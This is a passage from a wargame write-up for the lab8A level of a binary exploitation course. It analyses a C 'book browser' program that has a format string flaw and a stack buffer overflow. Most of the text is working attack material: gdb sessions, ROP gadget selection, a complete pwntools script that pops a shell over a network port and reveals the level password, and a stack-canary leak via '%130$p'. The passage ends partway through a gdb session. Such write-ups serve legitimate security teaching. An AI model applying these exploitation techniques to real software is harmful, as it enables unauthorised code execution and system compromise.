    "Clearly, then, if people proceed thus in their usual manner of definition and speech, they cannot explain and solve the difficulty. But if, as we say, one element is matter and another is form, and one is potentially and the other actually, the question will no longer be thought a difficulty. For this difficulty is the same as would arise if 'round bronze' were the definition of 'cloak'; for this word would be a sign of the definitory formula, so that the question is, what is the cause of the unity of 'round' and 'bronze'? The difficulty disappears, because the one is matter, the other form. What, then, causes this-that which was potentially to be actually-except, in the case of things which are generated, the agent? For there is no other cause of the potential sphere's becoming actually a sphere, but this was the essence of either. Of matter some is intelligible, some perceptible, and in a formula there is always an element of matter as well as one of actuality; e.g. the circle is 'a plane figure'. But of the things which have no matter, either intelligible or perceptible, each is by its nature essentially a kind of unity, as it is essentially a kind of being-individual substance, quality, or quantity (and so neither 'existent' nor 'one' is present in their definitions), and the essence of each of them is by its very nature a kind of unity as it is a kind of being-and so none of these has any reason outside itself, for being one, nor for being a kind of being; for each is by its nature a kind of being and a kind of unity, not as being in the genus 'being' or 'one' nor in the sense that being and unity can exist apart from particulars. \n");

}

void readC(){

    printf("\n\n*************************************************\n");
    printf("{|} Aristote's Metaphysics 350 B.C. Book MN9+ {|}\n");
    printf("*************************************************\n\n");
   printf(
    "Owing to the difficulty about unity some speak of 'participation', and raise the question, what is the cause of participation and what is it to participate; and others speak of 'communion', as Lycophron says knowledge is a communion of knowing with the soul; and others say life is a 'composition' or 'connexion' of soul with body. Yet the same account applies to all cases; for being healthy, too, will on this showing be either a 'communion' or a 'connexion' or a 'composition' of soul and health, and the fact that the bronze is a triangle will be a 'composition' of bronze and triangle, and the fact that a thing is white will be a 'composition' of surface and whiteness. The reason is that people look for a unifying formula, and a difference, between potency and complete reality. But, as has been said, the proximate matter and the form are one and the same thing, the one potentially, and the other actually. Therefore it is like asking what in general is the cause of unity and of a thing's being one; for each thing is a unity, and the potential and the actual are somehow one. Therefore there is no other cause here unless there is something which caused the movement from potency into actuality. And all things which have no matter are without qualification essentially unities. ");


}

void findSomeWords() {
    /* We specialize in words of wisdom */
    char buf[24];
    // to avoid the null
    global_addr = (&buf+0x1);
    // have to make sure no one is stealing the librarians cookies (they get angry)
    global_addr_check = global_addr-0x2;
    char lolz[4];

    printf("\n..I like to read ^_^ <==  ");
    read(STDIN, buf, 2048); // >> read a lot every day !

    if(((*( global_addr))^(*(global_addr_check))) != ((*( global_addr))^(0xdeadbeef))){
        printf("\n\nWoah There\n");
        // why are you trying to break my program q-q
        exit(EXIT_FAILURE);
    }

    // protected by my CUSTOM cookie - so soooo safe now
    return;
}

int main(int argc, char* argv[]) {

    disable_buffering(stdout);
    printf("\n\n\n");
    printf("**********************************************\n"\
           "{|}  Welcome to QUEND's Beta-Book-Browser  {|}\n"\
           "**********************************************\n"\
           "\n"
           "\t==> reading is for everyone <==\n"\
           "\t[+] Enter Your Favorite Author's Last Name: ");
    selectABook();

    printf("\n...please turn to page 394...\n");
    findSomeWords();

    printf("\n\t[===] Whew you made it !\n\n");
    return EXIT_SUCCESS;
}

What does the program do?
–> The binary is linked statically (gcc option -static on line 7).
–> On lines 8-9 two global integer pointers are defined: global_addr and global_addr_check.
–> Within the main function a welcome message is printed and the function selectABook is called (line 97).
–> This function (line 13) defines a local buffer buf_secure (line 15) which is filled with user input using scanf (line 16).
–> This buffer is printed using printf (line 17) and then compared to different strings / constants ("A", "B", '\x00', 1337).
–> Depending on the result of the comparison readA, readB or readC is called. If buf_secure is equal to 1337 the program is quit by calling exit.
–> If none of the comparisons succeeded, the function selectABook is called recursively (line 29).
–> The three functions readA, readB and readC merely print some output.
–> After the call to selectABook within the main function there is another call to findSomeWords (line 100).
–> This function (line 65) defines a local buffer buf (line 67) and sets the global_addr pointer to the address right after the buffer: (&buf+0x1 = buf+24) (line 69).
–> The other pointer global_addr_check is set to the value of global_addr-0x2 (line 71), which equals the address of buf+16 since both pointers are 4 byte integers (24 - 8 = 16).
–> On line 75 read is called to read a maximum amount of 2048 bytes into buf.
–> After this (lines 77-81) follows a custom stack cookie implementation. The values which each pointer is referencing are XORed and compared the (*(global_addr))^(0xdeadbeef).
–> If the comparison fails, exit is called to quit the program. In this case the return instruction at the end of the function is never reached.

Just like lab6B and lab7A there is an additional readme file:

lab8A@warzone:/levels/lab08$ cat lab8A.readme
lab8A is a remote level much like lab6B. It is running on port 8841.

nc wargame.server.example 8841 -vvv

Where is the vulnerability within the program?

There are two obvious vulnerabilities in the program. The first one within selectABook:

    char buf_secure[512];
    scanf("%s", buf_secure);
    printf(buf_secure);

The buffer buf_secure contains user input and is used as the first argument to printf. Since this is the format string, the user can enter format specifiers to leak information and also to write arbitrary data to an arbitrary address as we have seen in lab04.

The second vulnerability resides within the function findSomeWords:

    char buf[24];
    read(STDIN, buf, 2048); // >> read a lot every day !

The buffer buf is only 24 bytes long, but a maximum amount of 2048 are read into it. This is a classical buffer overflow like in lab02.

Since the subject of this lab is Misc and Stack Cookies our final intend should be to exploit the buffer overflow vulnerability and bypass the stack canary protection. Nevertheless I decided to focus on the format string vulnerability at first. It should be possible to exploit this vulnerability without even using the second vulnerability.

We already know that we can leverage a format string vulnerability to write arbitrary data to an arbitrary address. Since we ultimately want to get a shell, the first thing we need to do is to control the instruction pointer. We can do this by overwriting the return address of the function selectABook. The only thing we have to consider is that we need to enter a valid input triggering readA, readB or readC because otherwise the return instruction at the end of the function is never reached. Since the function calls itself recursively if no valid input is entered, this should be no problem.

In order to overwrite the return address, we have to know where the address is stored on the stack. Because ASLR is enabled, we do not know the address in advance. Thus we start by leaking a stack address:

lab8A@warzone:/levels/lab08$ ./lab8A



**********************************************
{|}  Welcome to QUEND's Beta-Book-Browser  {|}
**********************************************

        ==> reading is for everyone <==
        [+] Enter Your Favorite Author's Last Name: %p
0xbfb6f5a0
What were you thinking, that isn't a good book.

That’s it. Since the first argument on the stack is a stack address, it suffices to enter %p to leak this address. We could now calculate the offset to the return address we want to overwrite. But before we are doing this, we have to think about which address want to store in the instruction pointer.

We have already figured out that the binary was linked statically. We can verify this using file for example:

lab8A@warzone:/levels/lab08$ file lab8A
lab8A: ELF 32-bit LSB  executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=760ccd5bdb365cd6acbc1befc07e58fec83743a1, not stripped

Also NX is enabled and we thus cannot store and execute a shellcode on the stack:

lab8A@warzone:/levels/lab08$ checksec lab8A
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY FORTIFIED FORTIFY-able  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     2     41       lab8A

Unfortunately the binary does not contain system or execve. But a lot of function has been built-in statically resulting in a quite good amount of ROP-gadgets:

lab8A@warzone:/levels/lab08$ ROPgadget --binary lab8A | wc -l
11940

Thus we will build a ROP-chain which will call execve("/bin/sh") like we did in lab5B.

I ended up with the following ROP-gadgets using ROPgadget:

0x08054b45: mov edx, 0xffffffff; ret
0x0807b8dc: inc edx; adc al,0x39; ret
            --> EDX = 0

0x08049c73: xor ecx, ecx; pop ebx; mov eax, ecx; pop esi; pop edi; pop ebp; ret
;addr_binsh  -> ebx
;0xdeadbeef  -> esi
;0xdeadbeef  -> edi
;0xdeadbeef  -> ebp
            --> ECX = 0
            --> EAX = 0
            --> EBX = address of "/bin/sh"

0x08069443: add eax, edi; pop edi; ret
;0x2152411c  -> edi: 0xdeadbeef + 0x2152411c = 0x10000000b

0x08069443: add eax, edi; pop edi; ret
;0xdeadbeef  -> edi

            --> EAX = 0xB

0x08048ef6: int 0x80 ; execve("/bin/sh")

For our ROP-chain to work we need an address which references the string "/bin/sh". Since we have already leaked a stack address, we can simply store the string /bin/sh in the buffer. The leaked stack address using the format specifier %p is the address of the buffer itself. Thus we can append /bin/sh and the string will be stored at leak+2:

lab8A@warzone:/levels/lab08$ gdb lab8A
Reading symbols from lab8A...(no debugging symbols found)...done.
gdb-peda$ disassemble selectABook
Dump of assembler code for function selectABook:
...
   0x08048f3e <+51>:    call   0x804f4f0 <printf>
   0x08048f43 <+56>:    mov    DWORD PTR [esp+0x4],0x80bf7ce
...
End of assembler dump.
gdb-peda$ b *selectABook+56
Breakpoint 1 at 0x8048f43
gdb-peda$ r
Starting program: /levels/lab08/lab8A



**********************************************
{|}  Welcome to QUEND's Beta-Book-Browser  {|}
**********************************************

        ==> reading is for everyone <==
        [+] Enter Your Favorite Author's Last Name: %p/bin/sh
0xbffff4e0/bin/sh[----------------------------------registers-----------------------------------]
EAX: 0x11
EBX: 0x80481a8 (<_init>:        push   ebx)
ECX: 0xffffffff
EDX: 0x80ed4d4 --> 0x0
ESI: 0x0
EDI: 0x80ec00c --> 0x8068100 (<__stpcpy_sse2>:  mov    edx,DWORD PTR [esp+0x4])
EBP: 0xbffff6e4 --> 0xbffff708 --> 0x8049990 (<__libc_csu_fini>:        push   ebx)
ESP: 0xbffff4d8 --> 0xbffff4e0 ("%p/bin/sh")
EIP: 0x8048f43 (<selectABook+56>:       mov    DWORD PTR [esp+0x4],0x80bf7ce)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048f35 <selectABook+42>:  lea    eax,[ebp-0x204]
   0x8048f3b <selectABook+48>:  mov    DWORD PTR [esp],eax
   0x8048f3e <selectABook+51>:  call   0x804f4f0 <printf>
=> 0x8048f43 <selectABook+56>:  mov    DWORD PTR [esp+0x4],0x80bf7ce
   0x8048f4b <selectABook+64>:  lea    eax,[ebp-0x204]
   0x8048f51 <selectABook+70>:  mov    DWORD PTR [esp],eax
   0x8048f54 <selectABook+73>:  call   0x8048280
   0x8048f59 <selectABook+78>:  test   eax,eax
[------------------------------------stack-------------------------------------]
0000| 0xbffff4d8 --> 0xbffff4e0 ("%p/bin/sh")
0004| 0xbffff4dc --> 0xbffff4e0 ("%p/bin/sh")
0008| 0xbffff4e0 ("%p/bin/sh")
0012| 0xbffff4e4 ("in/sh")
0016| 0xbffff4e8 --> 0x68 ('h')
0020| 0xbffff4ec --> 0x0
0024| 0xbffff4f0 --> 0x0
0028| 0xbffff4f4 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048f43 in selectABook ()
gdb-peda$ x/s 0xbffff4e0 + 2
0xbffff4e2:     "/bin/sh"

But how can we store all ROP-gadgets on the stack? With the format string vulnerability we can overwrite the 4 byte return address. Of course we could also write a little bit more data. But the whole ROP-chain? A more efficient way is to use a pivoting gadget like we did in lab5A:
–> We store all our gadgets on the stack with the call to scanf in selectABook.
–> Since this is no valid user input, the function selectABook gets called once again.
–> We calculate the offset from esp to our ROP-chain when the ret instruction of the last selectABook call is reached.
–> We find a pivoting ROP-gadget which adds this offset to esp.
–> We overwrite the return address of the last selectABook call with the address of this pivoting ROP-gadget.

Let’s start by determining the offset:

lab8A@warzone:/levels/lab08$ gdb lab8A
Reading symbols from lab8A...(no debugging symbols found)...done.
gdb-peda$ disassemble selectABook
Dump of assembler code for function selectABook:
...
   0x08048fdf <+212>:   leave
   0x08048fe0 <+213>:   ret
End of assembler dump.
gdb-peda$ b *selectABook+213
Breakpoint 1 at 0x8048fe0
gdb-peda$ r
Starting program: /levels/lab08/lab8A



**********************************************
{|}  Welcome to QUEND's Beta-Book-Browser  {|}
**********************************************

        ==> reading is for everyone <==
        [+] Enter Your Favorite Author's Last Name: AAAA
AAAA
What were you thinking, that isn't a good book.A
A

*************************************************
{|} Aristote's Metaphysics 350 B.C. Book VIII {|}
*************************************************

To return to the difficulty which has been stated with respect both to definitions and to numbers, what is the cause of their unity? In the case of all things which have several parts and in which the totality is not, as it were, a mere heap, but the whole is something beside the parts, there is a cause; for even in bodies contact is the cause of unity in some cases, and in others viscosity or some other such quality. And a definition is a set of words which is one not by being connected together, like the Iliad, but by dealing with one object.-What then, is it that makes man one; why is he one and not many, e.g. animal + biped, especially if there are, as some say, an animal-itself and a biped-itself? Why are not those Forms themselves the man, so that men would exist by participation not in man, nor in-one Form, but in two, animal and biped, and in general man would be not one but more than one thing, animal and biped?
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x80481a8 (<_init>:        push   ebx)
ECX: 0x80ed4d4 --> 0x0
EDX: 0x3a8
ESI: 0x0
EDI: 0x80ec00c --> 0x8068100 (<__stpcpy_sse2>:  mov    edx,DWORD PTR [esp+0x4])
EBP: 0xbffff6e4 --> 0xbffff708 --> 0x8049990 (<__libc_csu_fini>:        push   ebx)
ESP: 0xbffff4d4 --> 0x8048fcd (<selectABook+194>:       nop)
EIP: 0x8048fe0 (<selectABook+213>:      ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048fd8 <selectABook+205>: je     0x8048fdf <selectABook+212>
   0x8048fda <selectABook+207>: call   0x806f490 <__stack_chk_fail>
   0x8048fdf <selectABook+212>: leave
=> 0x8048fe0 <selectABook+213>: ret
   0x8048fe1 <readA>:   push   ebp
   0x8048fe2 <readA+1>: mov    ebp,esp
   0x8048fe4 <readA+3>: sub    esp,0x8
   0x8048fe7 <readA+6>: mov    eax,gs:0x14
[------------------------------------stack-------------------------------------]
0000| 0xbffff4d4 --> 0x8048fcd (<selectABook+194>:      nop)
0004| 0xbffff4d8 --> 0x80bf7f8 ("\nWhat were you thinking, that isn't a good book.")
0008| 0xbffff4dc --> 0x80bf7d0 --> 0x46 ('F')
0012| 0xbffff4e0 ("AAAA")
0016| 0xbffff4e4 --> 0x0
0020| 0xbffff4e8 --> 0x0
0024| 0xbffff4ec --> 0x0
0028| 0xbffff4f0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048fe0 in selectABook ()
gdb-peda$ p 0xbffff4e0 - 0xbffff4d4
$1 = 0xc

The from the buffer buf_secure of the first call to selectABook to the return address of the second call is 0xc.

Because the ret instruction itself already pops on item off the stack, we need to find a gadget, which will add 8 to esp. Again I used ROPgadget to find an appropriate gadget:

lab8A@warzone:/levels/lab08$ ROPgadget --binary lab8A | grep "add esp"
...
0x080b4f89 : add esp, 4; pop ebp; ret
...

Summing it up our exploit will do the following:
–> Leak a stack address and store "/bin/sh" (first call to selectABook).
–> Store our ROP-chain (second call to selectABook).
–> Overwrite the return address of the second call with the pivoting gadget using the format string vulnerability (third call to selectABook).
–> Enter some valid input to reach the ret instruction (fourth call to selectABook).

The final python-script:

lab8A@warzone:/levels/lab08$ cat /tmp/exploit_lab8A.py
from pwn import *

p = remote("localhost", 8841)

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# first call to selectABook: leak stack + store "/bin/sh"

fmt = "%p/bin/sh" # stack_leak + /bin/sh for later use
p.sendline(fmt)
ret = p.recv(1000)
stack_leak = int(ret[0xe1:0xe9], 16)
log.success("stack_leak: " + hex(stack_leak))
addr_binsh = stack_leak + 2

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# second call to selectABook: ROP-chain

fmt  = p32(0x08054b45) # mov edx, 0xffffffff; ret

fmt += p32(0x0807b8dc) # inc edx; adc al,0x39; ret

                       # --> EDX = 0

fmt += p32(0x08049c73) # xor ecx, ecx; pop ebx; mov eax, ecx;
                       # pop esi; pop edi; pop ebp; ret
fmt += p32(addr_binsh) #  -> ebx
fmt += p32(0xdeadbeef) #  -> esi
fmt += p32(0xdeadbeef) #  -> edi
fmt += p32(0xdeadbeef) #  -> ebp

                       # --> ECX = 0
                       # --> EAX = 0
                       # --> EBX = address of "/bin/sh"

fmt += p32(0x08069443) # add eax, edi; pop edi; ret
fmt += p32(0x2152411c) #  -> edi: 0xdeadbeef + 0x2152411c = 0x10000000b

fmt += p32(0x08069443) # add eax, edi; pop edi; ret
fmt += p32(0xdeadbeef) #  -> edi

                       # --> EAX = 0xB

fmt += p32(0x08048ef6) # int 0x80

p.sendline(fmt)

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# third call to selectABook: overwrite return address

addr_buf = 0x080b4f89                 # stack-pivot: add esp, 4; pop ebp; ret
addr_write = stack_leak - 0xc - 0x214 # ret addr of 2nd call to selectABook

value_u2 = addr_buf >> 16
value_l2 = addr_buf & 0xffff

fmt  = p32(addr_write+2) # arg selector: $1
fmt += p32(addr_write)   # arg selector: $2
fmt += "%" + str(value_u2 - 8) + "x"
fmt += "%2$hn"
fmt += "%" + str(value_l2 - value_u2) + "x"
fmt += "%3$hn"
p.sendline(fmt)

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# fourth call to selectABook: valid input / trigger return

p.sendline("A")
p.recvuntil("biped? \n")

p.interactive()

Running the script:

lab8A@warzone:/levels/lab08$ python /tmp/exploit_lab8A.py
[+] Opening connection to localhost on port 8841: Done
[+] stack_leak: 0xbfebd390
[*] Switching to interactive mode
$ id
uid=1032(lab8end) gid=1033(lab8end) groups=1033(lab8end),1001(gameuser)
$ cat /home/lab8end/.pass
H4x0r5_d0nt_N33d_m3t4pHYS1c5

As we figured out, there is also a second buffer overflow vulnerability. Let’s try to exploit this vulnerability, too:

buffer overflow (stack canary)

The function findSomeWords contains a buffer overflow vulnerability:

    char buf[24];
    read(STDIN, buf, 2048); // >> read a lot every day !

If we want to leverage this vulnerability to overwrite the return address and redirect the control flow, we have to bypass the deployed stack canary protections.

When stack canaries are enabled, each function prologue contains the following additional instructions:

gdb-peda$ disassemble findSomeWords
Dump of assembler code for function findSomeWords:
   0x080490dd <+0>:     push   ebp
   0x080490de <+1>:     mov    ebp,esp
   0x080490e0 <+3>:     sub    esp,0x28
   0x080490e3 <+6>:     mov    eax,gs:0x14
   0x080490e9 <+12>:    mov    DWORD PTR [ebp-0x4],eax
   ...

gs is a segment register used for thread-local data. gs:0x14 contains the stack canary, which is stored on the stack right before the return address at ebp-0x4.

Before the ret instruction in the function epilogue is executed, the stack canary on the stack is compared to the actual stack canary in gs:0x14:

   ...
   0x08049168 <+139>:   mov    eax,DWORD PTR [ebp-0x4]
   0x0804916b <+142>:   xor    eax,DWORD PTR gs:0x14
   0x08049172 <+149>:   je     0x8049179 <findSomeWords+156>
   0x08049174 <+151>:   call   0x806f490 <__stack_chk_fail>
   0x08049179 <+156>:   leave
   0x0804917a <+157>:   ret

If the canary on the stack is not equal with the actual canary, the je will not be taken and the function __stack_chk_fail will quit the program. This way the ret instruction is never reached and a potentially overwritten return address will not be loaded to the instruction pointer.

How can we bypass this protection? Well, we have already seen that the function selectABook contains a format string vulnerability. Since the stack canary is the same for all function calls in the same thread, we can use this vulnerability to leak the stack canary.

In order to do this, we just have to determine the argument selector we have to use in the format string to print a stack canary:

gdb-peda$ disassemble selectABook
Dump of assembler code for function selectABook:
   0x08048f0b <+0>:     push   ebp
   0x08048f0c <+1>:     mov    ebp,esp
   0x08048f0e <+3>:     sub    esp,0x20c
   0x08048f14 <+9>:     mov    eax,gs:0x14
   0x08048f1a <+15>:    mov    DWORD PTR [ebp-0x4],eax
   0x08048f1d <+18>:    xor    eax,eax
   0x08048f1f <+20>:    lea    eax,[ebp-0x204]
   0x08048f25 <+26>:    mov    DWORD PTR [esp+0x4],eax
   0x08048f29 <+30>:    mov    DWORD PTR [esp],0x80bf7cb
   0x08048f30 <+37>:    call   0x804f550 <__isoc99_scanf>
   0x08048f35 <+42>:    lea    eax,[ebp-0x204]
   0x08048f3b <+48>:    mov    DWORD PTR [esp],eax
   0x08048f3e <+51>:    call   0x804f4f0 <printf>
   ...
End of assembler dump.
gdb-peda$ b *selectABook+15
Breakpoint 1 at 0x8048f1a
gdb-peda$ b *selectABook+51
Breakpoint 2 at 0x8048f3e

I set a breakpoint after the stack canary has been loaded to eax and another breakpoint when printf is called in order to see at which offset from the current esp the canary is stored:

gdb-peda$ r
Starting program: /levels/lab08/lab8A



**********************************************
{|}  Welcome to QUEND's Beta-Book-Browser  {|}
**********************************************

        ==> reading is for everyone <==
        [+] Enter Your Favorite Author's Last Name: [----------------------------------registers-----------------------------------]
EAX: 0x285ea900
EBX: 0x80481a8 (<_init>:        push   ebx)
ECX: 0xffffffff
EDX: 0x80ed4d4 --> 0x0
ESI: 0x0
EDI: 0x80ec00c --> 0x80662a0 (<__stpcpy_ssse3>: mov    edx,DWORD PTR [esp+0x4])
EBP: 0xbffff6e4 --> 0xbffff708 --> 0x8049990 (<__libc_csu_fini>:        push   ebx)
ESP: 0xbffff4d8 --> 0x0
EIP: 0x8048f1a (<selectABook+15>:       mov    DWORD PTR [ebp-0x4],eax)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048f0c <selectABook+1>:   mov    ebp,esp
   0x8048f0e <selectABook+3>:   sub    esp,0x20c
   0x8048f14 <selectABook+9>:   mov    eax,gs:0x14
=> 0x8048f1a <selectABook+15>:  mov    DWORD PTR [ebp-0x4],eax
   0x8048f1d <selectABook+18>:  xor    eax,eax
   0x8048f1f <selectABook+20>:  lea    eax,[ebp-0x204]
   0x8048f25 <selectABook+26>:  mov    DWORD PTR [esp+0x4],eax
   0x8048f29 <selectABook+30>:  mov    DWORD PTR [esp],0x80bf7cb
[------------------------------------stack-------------------------------------]
0000| 0xbffff4d8 --> 0x0
0004| 0xbffff4dc --> 0x0
0008| 0xbffff4e0 --> 0x0
0012| 0xbffff4e4 --> 0x0
0016| 0xbffff4e8 --> 0x0
0020| 0xbffff4ec --> 0x0
0024| 0xbffff4f0 --> 0x0
0028| 0xbffff4f4 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048f1a in selectABook ()

The canary being used is 0x285ea900.

gdb-peda$ c
Continuing.
AAAA
[----------------------------------registers-----------------------------------]
EAX: 0xbffff4e0 ("AAAA")
EBX: 0x80481a8 (<_init>:        push   ebx)
ECX: 0x80ed4e0 --> 0x0
EDX: 0x1
ESI: 0x0
EDI: 0x80ec00c --> 0x80662a0 (<__stpcpy_ssse3>: mov    edx,DWORD PTR [esp+0x4])
EBP: 0xbffff6e4 --> 0xbffff708 --> 0x8049990 (<__libc_csu_fini>:        push   ebx)
ESP: 0xbffff4d8 --> 0xbffff4e0 ("AAAA")
EIP: 0x8048f3e (<selectABook+51>:       call   0x804f4f0 <printf>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048f30 <selectABook+37>:  call   0x804f550 <__isoc99_scanf>
   0x8048f35 <selectABook+42>:  lea    eax,[ebp-0x204]
   0x8048f3b <selectABook+48>:  mov    DWORD PTR [esp],eax
=> 0x8048f3e <selectABook+51>:  call   0x804f4f0 <printf>
   0x8048f43 <selectABook+56>:  mov    DWORD PTR [esp+0x4],0x80bf7ce
   0x8048f4b <selectABook+64>:  lea    eax,[ebp-0x204]
   0x8048f51 <selectABook+70>:  mov    DWORD PTR [esp],eax
   0x8048f54 <selectABook+73>:  call   0x8048280
Guessed arguments:
arg[0]: 0xbffff4e0 ("AAAA")
[------------------------------------stack-------------------------------------]
0000| 0xbffff4d8 --> 0xbffff4e0 ("AAAA")
0004| 0xbffff4dc --> 0xbffff4e0 ("AAAA")
0008| 0xbffff4e0 ("AAAA")
0012| 0xbffff4e4 --> 0x0
0016| 0xbffff4e8 --> 0x0
0020| 0xbffff4ec --> 0x0
0024| 0xbffff4f0 --> 0x0
0028| 0xbffff4f4 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x08048f3e in selectABook ()
gdb-peda$ searchmem 0x285ea900
Searching for '0x285ea900' in: None ranges
Found 3 results, display max 3 items:
 [heap] : 0x80ef854 --> 0x285ea900
[stack] : 0xbffff6e0 --> 0x285ea900
[stack] : 0xbffff704 --> 0x285ea900
gdb-peda$ p (0xbffff6e0 - 0xbffff4d8) / 4
$1 = 0x82

There are two canaries on the stack. The offset to the second on can be calculated by subtracting the current esp (0xbffff4d8). Because we are going to use the 4-byte format specifier %p we have to divide the difference by 4 to determine the argument selector we have to use. The value 0x82 = 130 means that we can print the stack canary with the format specifier %130$p. Let’s verify this:

   ...
   0x08048f1a <+15>:    mov    DWORD PTR [ebp-0x4],eax
   ...
End of assembler dump.
gdb-peda$ b *selectABook+15
Breakpoint 1 at 0x8048f1a
gdb-peda$ r
Starting program: /levels/lab08/lab8A



**********************************************
{|}  Welcome to QUEND's Beta-Book-Browser  {|}
**********************************************

        ==> reading is for everyone <==
        [+] Enter Your Favorite Author's Last Name: [----------------------------------registers-----------------------------------]
EAX: 0xdbeeeb00
EBX: 0x80481a8 (<_init>:        push   ebx)
ECX: 0xffffffff
EDX: 0x80ed4d4 --> 0x0
ESI: 0x0
EDI: 0x80ec00c --> 0x80662a0 (<__stpcpy_ssse3>: mov    edx,DWORD PTR [esp+0x4])
EBP: 0xbffff6e4 --> 0xbffff708 --> 0x8049990 (<__libc_csu_fini>:        push   ebx)
ESP: 0xbffff4d8 --> 0x0
EIP: 0x8048f1a (<selectABook+15>:       mov    DWORD PTR [ebp-0x4],eax)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048f0c <selectABook+1>:   mov    ebp,esp
   0x8048f0e <selectABook+3>:   sub    esp,0x20c
   0x8048f14 <selectABook+9>:   mov    eax,gs:0x14
=> 0x8048f1a <selectABook+15>:  mov    DWORD PTR [ebp-0x4],eax
   0x8048f1d <selectABook+18>:  xor    eax,eax
   0x8048f1f <selectABook+20>:  lea    eax,[ebp-0x204]
   0x8048f25 <selectABook+26>:  mov    DWORD PTR [esp+0x4],eax
   0x8048f29 <selectABook+30>:  mov    DWORD PTR [esp],0x80bf7cb
[------------------------------------stack-------------------------------------]
0000| 0xbffff4d8 --> 0x0
0004| 0xbffff4dc --> 0x0
0008| 0xbffff4e0 --> 0x0
0012| 0xbffff4e4 --> 0x0
0016| 0xbffff4e8 --> 0x0
0020| 0xbffff4ec --> 0x0
0024| 0xbffff4f0 --> 0x0
0028| 0xbffff4f4 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048f1a in selectABook ()
gdb-peda$ c
Continuing.
%130$p
0xdbeeeb00

We have successfully leaked the stack canary 🙂

As we have already seen an additional stack canary has been implemented within the function findSomeWords:

    if(((*( global_addr))^(*(global_addr_check))) != ((*( global_addr))^(0xdeadbeef))){
        printf("\n\nWoah There\n");
        // why are you trying to break my program q-q
        exit(EXIT_FAILURE);
    }

The pointer global_addr references the address right after the buffer buf:

    global_addr = (&buf+0x1);

And what is stored at this address? Right! The stack canary.

The other pointer global_addr_check references the address of buf+16:

    global_addr_check = global_addr-0x2;

This means that we have to make sure that at &buf[16] the value "\xef\xbe\xad\xde" is stored in order to bypass the custom canary protection.

At last we have to determine the offset from the buffer to the return address. This can be done by setting a breakpoint at the beginning of findSomeWords to see at which address the return address is stored and set another breakpoint at the call to read to see where the buffer is stored:

gdb-peda$ disassemble findSomeWords
Dump of assembler code for function findSomeWords:
   0x080490dd <+0>:     push   ebp
   ...
   0x08049128 <+75>:    call   0x806d6d0 <read>
   ...
End of assembler dump.
gdb-peda$ b *findSomeWords
Breakpoint 1 at 0x80490dd
gdb-peda$ b *findSomeWords+75
Breakpoint 2 at 0x8049128
gdb-peda$ r
Starting program: /levels/lab08/lab8A



**********************************************
{|}  Welcome to QUEND's Beta-Book-Browser  {|}
**********************************************

        ==> reading is for everyone <==
        [+] Enter Your Favorite Author's Last Name: A
A

*************************************************
{|} Aristote's Metaphysics 350 B.C. Book VIII {|}
*************************************************

To return to the difficulty which has been stated with respect both to definitions and to numbers, what is the cause of their unity? In the case of all things which have several parts and in which the totality is not, as it were, a mere heap, but the whole is something beside the parts, there is a cause; for even in bodies contact is the cause of unity in some cases, and in others viscosity or some other such quality. And a definition is a set of words which is one not by being connected together, like the Iliad, but by dealing with one object.-What then, is it that makes man one; why is he one and not many, e.g. animal + biped, especially if there are, as some say, an animal-itself and a biped-itself? Why are not those Forms themselves the man, so that men would exist by participation not in man, nor in-one Form, but in two, animal and biped, and in general man would be not one but more than one thing, animal and biped?

...please turn to page 394...
[----------------------------------registers-----------------------------------]
EAX: 0x1f
EBX: 0x80481a8 (<_init>:        push   ebx)
ECX: 0x80ed4d4 --> 0x0
EDX: 0x1f
ESI: 0x0
EDI: 0x80ec00c --> 0x80662a0 (<__stpcpy_ssse3>: mov    edx,DWORD PTR [esp+0x4])
EBP: 0xbffff708 --> 0x8049990 (<__libc_csu_fini>:       push   ebx)
ESP: 0xbffff6e8 --> 0x80491eb (<main+112>:      mov    DWORD PTR [esp],0x80c0993)
EIP: 0x80490dd (<findSomeWords>:        push   ebp)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80490d6 <readC+77>:        call   0x806f490 <__stack_chk_fail>
   0x80490db <readC+82>:        leave
   0x80490dc <readC+83>:        ret
=> 0x80490dd <findSomeWords>:   push   ebp
   0x80490de <findSomeWords+1>: mov    ebp,esp
   0x80490e0 <findSomeWords+3>: sub    esp,0x28
   0x80490e3 <findSomeWords+6>: mov    eax,gs:0x14
   0x80490e9 <findSomeWords+12>:        mov    DWORD PTR [ebp-0x4],eax
[------------------------------------stack-------------------------------------]
0000| 0xbffff6e8 --> 0x80491eb (<main+112>:     mov    DWORD PTR [esp],0x80c0993)
0004| 0xbffff6ec --> 0x80c0974 ("\n...please turn to page 394...")
0008| 0xbffff6f0 --> 0x0
0012| 0xbffff6f4 --> 0x2
0016| 0xbffff6f8 --> 0x0
0020| 0xbffff6fc --> 0xbffff794 --> 0xbffff8b6 ("/levels/lab08/lab8A")
0024| 0xbffff700 --> 0x1
